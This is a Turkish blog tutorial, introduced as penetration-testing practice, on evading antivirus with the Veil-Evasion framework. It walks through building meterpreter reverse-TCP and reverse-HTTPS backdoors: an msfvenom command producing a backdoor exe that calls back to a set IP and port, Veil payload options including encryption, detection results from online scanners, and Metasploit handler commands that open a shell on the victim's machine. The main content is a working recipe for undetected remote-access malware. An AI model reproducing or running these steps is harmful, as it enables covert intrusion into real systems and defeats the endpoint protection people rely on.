Anti-Virus Atlatma - Veil-Evasion

Merhaba,
Sızma testleri sırasında test edilecek bazı makinelerde Endpoint security olarak anti-virüs yazılımları kurulu olabilir. Böyle durumlarda bağlantı kurulan/kurulacak makinede meterpreter yada başka bir Metasploit shell'i açmak için anti-virus bypass yazılımları kullanmak gerekebilir. Temel olarak bu tarz yazılımlar kullandıkları çeşitli encoding yöntemleriyle anti-virüslerden gizlenebilmektedirler. Yazımızda işleyeceğimiz araç Veil-evasion'dur. Veil, açık kaynak kodlu olarak geliştirilen bir framework'tür. Biz Veil framework içerisindeki anti-virüs atlatma aracı olan Veil-evasion'u kullanacağız.

Kurulum

Linux üstüne kurulumu için mevcut kodlarının olduğu Github sayfasından (https://github.com/Veil-Framework/Veil-Evasion) indirip setup klasörünün altında bulunan setup.sh scripti ile kurulumu yapabilirsiniz.
  • git clone https://github.com/Veil-Framework/Veil-Evasion.git 
  • cd Veil-Evasion/setup 
  • bash setup.sh -s 
Veya depo'dan direkt olarak bağımlılıklarıyla beraber kurulumunu yapabilirsiniz. Bunun için;
  • apt-get install veil-evasion
Çok sayıda paketi de kendisiyle beraber kuracaktır. İndirme ve kurulum işlemleri bittikten sonra terminal ekranında yapılandırılan konfigürasyonlar ve dosya yolları görünecektir. 32 bit bir işletim sisteminde daha rahat olacaktır kurulum işlemi. 64 bit sistemlerde kurulum yapıldığı zaman, gerekli yan uygulamalar ve wine 32bitlik sistemlere göre kurulacak ve yapılandırılacaktır, çoğu zaman da hata ile karşılaşılabilmektedir.

Konfigürasyon dosyası olan '/etc/veil/settings.py' içerisinde sisteminize uygun değişiklikleri yapabilirsiniz. Konfigürasyon dosyasında boş olarak görünen alan olan MSFVENOM_OPTIONS kısmı payload oluşturma sırasında ham bir payload yerine ek parametrelerle bir payload oluşturma imkanı sağlar. Örnek olarak oluşturma sırasında seçilecek bir encode tekniği kullanılarak birkaç iterasyondan geçirmesi sağlanabilir.

Veil-evasion 

Kaynak koddan kurduysanız Veil-Evasion klasöründeki Veil-Evasion.py dosyasını çalıştırarak, depodan kurduysanız, komut satırından veil-evasion komutunu girerek başlatabilirsiniz. Başlangıç ekranından görüldüğü üzere şu an için kullandığımız versiyon olan 2.22.1 için kullanılabilecek 47 payload vardır.


Kullanım 

Kullanımı Metasploit ile benzerdir ve TAB ile tamamlama desteği vardır. Öncelikle list diyerek kullanılabilecek payloadları görelim. Aşağıda verilmiş olan resimden de anlaşılacağı üzere C, C#, GO, Python, Ruby, Powershell gibi dilleri kullanarak oluşturulabilen payloadları vardır. Bir payloadı seçmek için use komutunu kullanmanız gerekmektedir. use [Payload index numarası] veya use [Payload ismi] kullanım şekilleri ile kullanılabilir.


Örnek

Örnek olarak Python ile yazılmış, meterpreter ile bize reverse_tcp bağlantı verecek olan payloadı kullanalım. Seçtiğimiz payload: python/meterpreter/rev_tcp, index numarası 31.
Bu payloadı kullanmak için use 31 veya use python/meterpreter/rev_tcp diyoruz.
Gelen ekranda görüldüğü üzere birçok parametre vardır.


Bunları teker teker açıklamak gerekise;

  • ARCHITECTURE: Varsayılan olarak 32 bittir. Üretilecek olan zararlı yazılımın işlemci mimarisini belirtir.
  • COMPILE_TO_EXE: Varsayılan olarak Y'dir. Üretilecek olan zararlı yazılımın çalıştırılabilir bir dosya tipi olarak EXE'ye dönüştürülmesini belirtir.
  • EXPIRE_PAYLOAD: Opsiyonel olarak kullanılabilir bir alandır. Devre dışı bırakılacak özelliği tanımlamamızı sağlar.
  • LHOST: Metasploit'te dinlemeyi yapacağımız handler'in IP adresi. 
  • LPORT: Metasploit'te dinlemeyi yapacağımız handler'in port adresi.
  • USE_PYHERION: Varsayılan olarak N'dir. Üretilecek zararlı yazılımın ek olarak Python'un pyherion şifrelemesinden geçirileceğini belirtir.
Msfvenom ile backdoor

Veil ile oluşturacağımız zararlı yazılım ile karşılaştırıp farkı görmek açısından önce Metasploit araçlarından olan msfvenom ile basit bir arka kapı oluşturalım.
  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.17.7.132 LPORT=7788 -f exe -o rawBackdoor.exe 
Oluşturduğumuz zararlı yazılımı online bir anti-virüs tarama sitesi olan https://www.virustotal.com/ üstünde tarayalım ve sonuçları görelim.
Not: Bu tarz sistemler çıktılardan gelen sonuçları anti-virüs firmalarıyla paylaştığı ve imza tabanlı çalıştığı için, önceden yapılan taramalardan dolayı oluşturulan payloadları çok sayıda anti-virus yazılımı keşfedebilir düzeye gelmiştir. Bu yüzden anti-virus bypass uygulamalarında bir not olarak, online sistemlerde taratmayın diye not düşebilirler.


Veil ile backdoor

Veil üstünde oluşturacağımız zararlı yazılımın, seçtiğimiz modüle göre, gerekli parametrelerini girdikten sonra generate komutu ile oluşturma işlemini başlatabiliriz.



Generate dedikten sonra oluşturma işlemine başlamadan önce bize çıktı olarak vereceği dosyanın adını ne koyacağımızı soruyor. Bu değer default olarak 'payload' olarak belirlenmiştir. Seçtiğimiz modülün parametrelerinden olan COMPILE_TO_EXE'ye argüman olarak Y değerini verdiğimiz için oluşturalacak olan Python dosyasını exe olarak çalıştırılabilir dosya formatına dönüştürecektir. Burada oluşturulan çıktı dosyasının, çalıştırılabilir dosya formatına dönüştürülmesi işlemi farklı python modülleri gerçekleşebilmektedir. Veil içinde default olarak Pyinstaller kullanılmaktadır. Bizde bu yazı sırasında 1 seçeneğinde bulunan Pyinstaller'ı kullanacağız. 1 değerini girdikten sonra arka kapı oluşturma işlemi başlıyor.


Zararlı yazılımın oluşturma işlemi tamamlandı. Verilen çıktıda, oluşturulan zararlı yazılım ile ilgili birkaç özellik bulunmaktadır. Bunlar, hangi dilde oluşturulduğu, payload olarak hangi metasploit payload'ı kullanıldığı, kullanılan parametreler ve bunlara verilen değerler, payload dosyasının (zararlı yazılımımızın) bulunduğu konum ve handler dosyasının bulunduğu konum.


Metasploit handler resource

Burada oluşturulan handler dosyası (resource), Metasploit tarafında gelen bağlantıları bekleme sırasında oluşturacağımız handler'in script versiyonudur. Handler dosyası ile Metasploit tarafında, otomatik olarak komutları oluşturulan, oluşturduğumuz zararlı yazılıma göre parametreleri girip beklemeyi başlatabiliriz. Scripti Metasploit üstünde çalıştırmak için komut satırından msfconsole -r [Resource dosya konumu] veya açık olan Metasploit komut ekranında resource komutuyla şu şekilde yapılabilir resource [Resource dosya konumu]. Örnek bir kullanım aşağıda verilmiştir.


Tarama sonucu

Oluşturulan zararlı yazılımın, yapmamamız gereken, online tarama sonucu aşağıda ki resimlerde verilmiştir. İlk olarak popüler olan VirusTotal sayfasında yaptığımız taramanın sonucunu paylaşalım.



Bir başka online tarama sayfası olan https://virusscan.jotti.org/ üstündeki taramanın sonucu ise aşağıdaki gibidir.



Jotti üzerinde ilk oluşturduğumuz -msfvenom ile ham backdoor- zararlı yazılımın tarama sonucunu da paylaşırsak aradaki farkı daha net görebilirsiniz.


Reverse Bağlantı 

Oluşturduğumuz zararlı yazılım öncelikle Metasploit tarafında dinlemeye almamız gerekiyor, gelen bağlantıları yakalamak için. Bunu yukarıda belirttiğimiz resource dosyası ile veya kendimiz multi/handler modülünü kullanarak gerekli opsiyonları düzenleyip dinlemeyi başlatmamız gerek. Bunun için oluşturduğumuz payloada göre girilecek komutlar aşağıdaki gibidir.
  • use exploit/multi/handler
  • set payload windows/meterpreter/reverse_tcp
  • set lhost 172.17.7.132 
  • set lport 7788 
  • set exitonsession false
  • exploit -j -z

Dinlemeyi başlattığımıza göre şimdi bekleme sırasında, kurbanın bir şekilde bunu açtığını varsayarsak, meterpreter shell için session'ımız oluşuyor. Aktif sessionları listeleyip, bir tanesine geçiş yaptıktan sonra sistem hakkında kısa bir bilgi alma komutu çalıştıralım.

Başka bir örnek

Veil-evasion üstünde kullandığımız python/meterpreter/rev_tcp modülünden sonra kısaca başka bir modül için alınan sonuçları görelim. Kullanılan modül yine aynı aileden fakat farklı bir protokol ile çalışan python/meterpreter/rev_https modülü. Gerekli parametreleri düzenledikten sonra generate diyerek oluşturma işlemini başlatıyoruz.


Oluşturulan zararlı yazılımın, online tarama sonucu aşağıda ki resimlerde verilmiştir. İlk olarak popüler olan VirusTotal sayfasında yaptığımız taramanın sonucunu görelim.


Bir diğer tarama sayfası olan Jotti'den gelen sonucunu görelim.


Yorumlar

Bu blogdaki popüler yayınlar

1. Geleneksel Stajyer CTF Soru ve Cevapları

B*-Tree (BTree, BPlusTree) Veri Yapısı ile Veri İndeksleme

2. Geleneksel Stajyer CTF Soru ve Cevapları - 2017